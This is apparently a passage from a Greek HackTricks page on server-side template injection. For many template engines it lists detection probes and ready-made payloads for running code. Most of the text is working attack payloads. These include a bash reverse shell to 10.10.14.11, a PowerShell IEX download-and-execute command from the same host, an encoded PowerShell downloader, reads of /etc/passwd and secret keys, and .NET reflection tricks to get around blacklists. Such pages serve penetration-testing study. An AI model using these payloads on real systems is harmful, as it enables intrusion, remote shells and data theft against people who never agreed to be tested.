  • {{foo}} = Καμία έξοδος
  • #{7*7} = #{7*7}
  • {{console.log(1)}} = Σφάλμα
{
{
range.constructor(
"return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')"
)()
}
}
{
{
range.constructor(
"return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')"
)()
}
}

Περισσότερες πληροφορίες

Sandboxes εκφράσεων NodeJS (vm2 / isolated-vm)

Ορισμένα workflow builders αξιολογούν εκφράσεις που ελέγχονται από τον χρήστη μέσα σε Node sandboxes (vm2, isolated-vm), αλλά το context της έκφρασης εξακολουθεί να εκθέτει this.process.mainModule.require. Αυτό επιτρέπει σε έναν επιτιθέμενο να φορτώσει το child_process και να εκτελέσει εντολές λειτουργικού συστήματος ακόμα και όταν τα ειδικά “Execute Command” nodes είναι απενεργοποιημένα:

={{ (function() {
const require = this.process.mainModule.require;
const execSync = require("child_process").execSync;
return execSync("id").toString();
})() }}

Άλλο NodeJS

https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg

https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg

ERB (Ruby)

  • {{7*7}} = {{7*7}}
  • ${7*7} = ${7*7}
  • <%= 7*7 %> = 49
  • <%= foobar %> = Error
<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
<%= File.open('/etc/passwd').read %> #Read file

<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines()  %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>

Περισσότερες πληροφορίες

Slim (Ruby)

  • { 7 * 7 }
{ %x|env| }

Περισσότερες πληροφορίες

Άλλο Ruby

https://miro.medium.com/v2/resize:fit:640/format:webp/1*VeZvEGI6rBP_tH-V0TqAjQ.jpeg

https://miro.medium.com/v2/resize:fit:640/format:webp/1*m-iSloHPqRUriLOjpqpDgg.jpeg

Python

Δείτε την παρακάτω σελίδα για να μάθετε κόλπα σχετικά με arbitrary command execution bypassing sandboxes σε python:

Bypass Python sandboxes

Tornado (Python)

  • {{7*7}} = 49
  • ${7*7} = ${7*7}
  • {{foobar}} = Error
  • {{7*'7'}} = 7777777
{% raw %}
{% import foobar %} = Error
{% import os %}

{% import os %}
{% endraw %}







{{os.system('whoami')}}
{{os.system('whoami')}}

Περισσότερες πληροφορίες

Jinja2 (Python)

Official website

Το Jinja2 είναι μια πλήρως εξοπλισμένη μηχανή template για Python. Παρέχει πλήρη υποστήριξη Unicode, ένα προαιρετικό ενσωματωμένο sandboxed περιβάλλον εκτέλεσης, είναι ευρέως χρησιμοποιούμενη και υπό BSD άδεια.

  • {{7*7}} = Error
  • ${7*7} = ${7*7}
  • {{foobar}} Nothing
  • {{4*4}}[[5*5]]
  • {{7*'7'}} = 7777777
  • {{config}}
  • {{config.items()}}
  • {{settings.SECRET_KEY}}
  • {{settings}}
  • <div data-gb-custom-block data-tag="debug"></div>
{% raw %}
{% debug %}
{% endraw %}







{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777

Jinja2 - Μορφή προτύπου

{% raw %}
{% extends "layout.html" %}
{% block body %}
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% endfor %}
</ul>
{% endblock %}
{% endraw %}


RCE που δεν εξαρτάται από __builtins__:

{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}

# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}

Περισσότερες λεπτομέρειες για το πώς να εκμεταλλευτείτε το Jinja:

Jinja2 SSTI

Άλλα payloads στο https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2

Mako (Python)

<%
import os
x=os.popen('id').read()
%>
${x}

Περισσότερες πληροφορίες

Άλλο Python

https://miro.medium.com/v2/resize:fit:640/format:webp/1*3RO051EgizbEer-mdHD8Kg.jpeg

https://miro.medium.com/v2/resize:fit:640/format:webp/1*GY1Tij_oecuDt4EqINNAwg.jpeg

Razor (.Net)

  • @(2+2) <= Success
  • @() <= Success
  • @("{{code}}") <= Success
  • @ <=Success
  • @{} <= ERROR!
  • @{ <= ERRROR!
  • @(1+2)
  • @( //C#Code )
  • @System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");
  • @System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");

Η μέθοδος .NET System.Diagnostics.Process.Start μπορεί να χρησιμοποιηθεί για να εκκινήσει οποιαδήποτε διεργασία στον διακομιστή και έτσι να δημιουργήσει ένα webshell. Μπορείτε να βρείτε ένα παράδειγμα ευάλωτης webapp στο https://github.com/cnotin/RazorVulnerableApp

Περισσότερες πληροφορίες

ASP

  • <%= 7*7 %> = 49
  • <%= "foo" %> = foo
  • <%= foo %> = Nothing
  • <%= response.write(date()) %> = <Date>
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>

Περισσότερες Πληροφορίες

.Net Παράκαμψη περιορισμών

Οι μηχανισμοί Reflection του .NET μπορούν να χρησιμοποιηθούν για να παρακαμφθεί το blacklisting ή όταν συγκεκριμένες κλάσεις δεν υπάρχουν στο assembly. DLLs μπορούν να φορτωθούν κατά το runtime με μεθόδους και ιδιότητες προσβάσιμες από βασικά αντικείμενα.

Dll’s can be loaded with:

  • {"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?"))} - from filesystem.
  • {"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("Load", [typeof(byte[])]).Invoke(null, [Convert.FromBase64String("Base64EncodedDll")])} - directly from request.

Πλήρης εκτέλεση εντολής:

{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?")).GetType("System.Diagnostics.Process").GetMethods().GetValue(0).Invoke(null, "/bin/bash,-c ""whoami""".Split(","))}

Περισσότερες Πληροφορίες

Mojolicious (Perl)

Ακόμα κι αν είναι perl, χρησιμοποιεί tags όπως ERB στο Ruby.

  • <%= 7*7 %> = 49
  • <%= foobar %> = Error
<%= perl code %>
<% perl code %>

SSTI στο GO

Στη μηχανή template του Go, η επιβεβαίωση της χρήσης της μπορεί να γίνει με συγκεκριμένα payloads:

  • {{ . }}: Αποκαλύπτει τη δομή των δεδομένων εισόδου. Για παράδειγμα, αν ένα αντικείμενο με ιδιότητα Password περάσει, το {{ .Password }} θα μπορούσε να το αποκαλύψει.
  • {{printf "%s" "ssti" }}: Αναμένεται να εμφανίσει τη συμβολοσειρά “ssti”.
  • {{html "ssti"}}, {{js "ssti"}}: Αυτά τα payloads θα πρέπει να επιστρέφουν “ssti” χωρίς να προσθέτουν “html” ή “js”. Επιπλέον directives μπορούν να εξερευνηθούν στην τεκμηρίωση Go εδώ.

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg

XSS Exploitation

Με το package text/template, το XSS μπορεί να γίνει απλό εισάγοντας το payload απευθείας. Αντιθέτως, το package html/template κωδικοποιεί την απόκριση για να το αποτρέψει (π.χ., {{"<script>alert(1)</script>"}} αποδίδει &lt;script&gt;alert(1)&lt;/script&gt;). Παρ’ όλα αυτά, ο ορισμός και η κλήση template στο Go μπορούν να παρακάμψουν αυτήν την κωδικοποίηση: {{define “T1”}}alert(1){{end}} {{template “T1”}}

vbnet Copy code

RCE Exploitation

Η RCE εκμετάλλευση διαφέρει σημαντικά μεταξύ html/template και text/template. Το module text/template επιτρέπει την κλήση οποιασδήποτε public function απευθείας (χρησιμοποιώντας την τιμή “call”), κάτι που δεν επιτρέπεται στο html/template. Η τεκμηρίωση για αυτά τα modules είναι διαθέσιμη εδώ για html/template και εδώ για text/template.

Για RCE μέσω SSTI στο Go, μπορούν να κληθούν μέθοδοι αντικειμένων. Για παράδειγμα, αν το παρεχόμενο αντικείμενο έχει μέθοδο System που εκτελεί εντολές, μπορεί να εκμεταλλευτεί όπως {{ .System "ls" }}. Η πρόσβαση στον source code είναι συνήθως απαραίτητη για να το εκμεταλλευτείτε, όπως στο παράδειγμα που δίνεται:

func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}

Περισσότερες πληροφορίες

LESS (Προεπεξεργαστής CSS)

LESS είναι ένας δημοφιλής προεπεξεργαστής CSS που προσθέτει μεταβλητές, mixins, συναρτήσεις και την ισχυρή οδηγία @import. Κατά τη μεταγλώττιση, ο engine του LESS θα ανακτήσει τους πόρους που αναφέρονται σε δηλώσεις @import και θα ενσωματώσει (“inline”) τα περιεχόμενά τους στο τελικό CSS όταν χρησιμοποιείται η επιλογή (inline).

{{#ref}} ../xs-search/css-injection/less-code-injection.md {{/ref}}

Περισσότερα Exploits

Ελέγξτε το υπόλοιπο του https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection για περισσότερα exploits. Επίσης μπορείτε να βρείτε ενδιαφέρουσες πληροφορίες για tags στο https://github.com/DiogoMRSilva/websitesVulnerableToSSTI

BlackHat PDF

Σχετική Βοήθεια

Αν νομίζετε ότι μπορεί να φανεί χρήσιμο, διαβάστε:

Εργαλεία

Λίστα Ανίχνευσης Brute-Force

Auto_Wordlists/wordlists/ssti.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Αναφορές

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks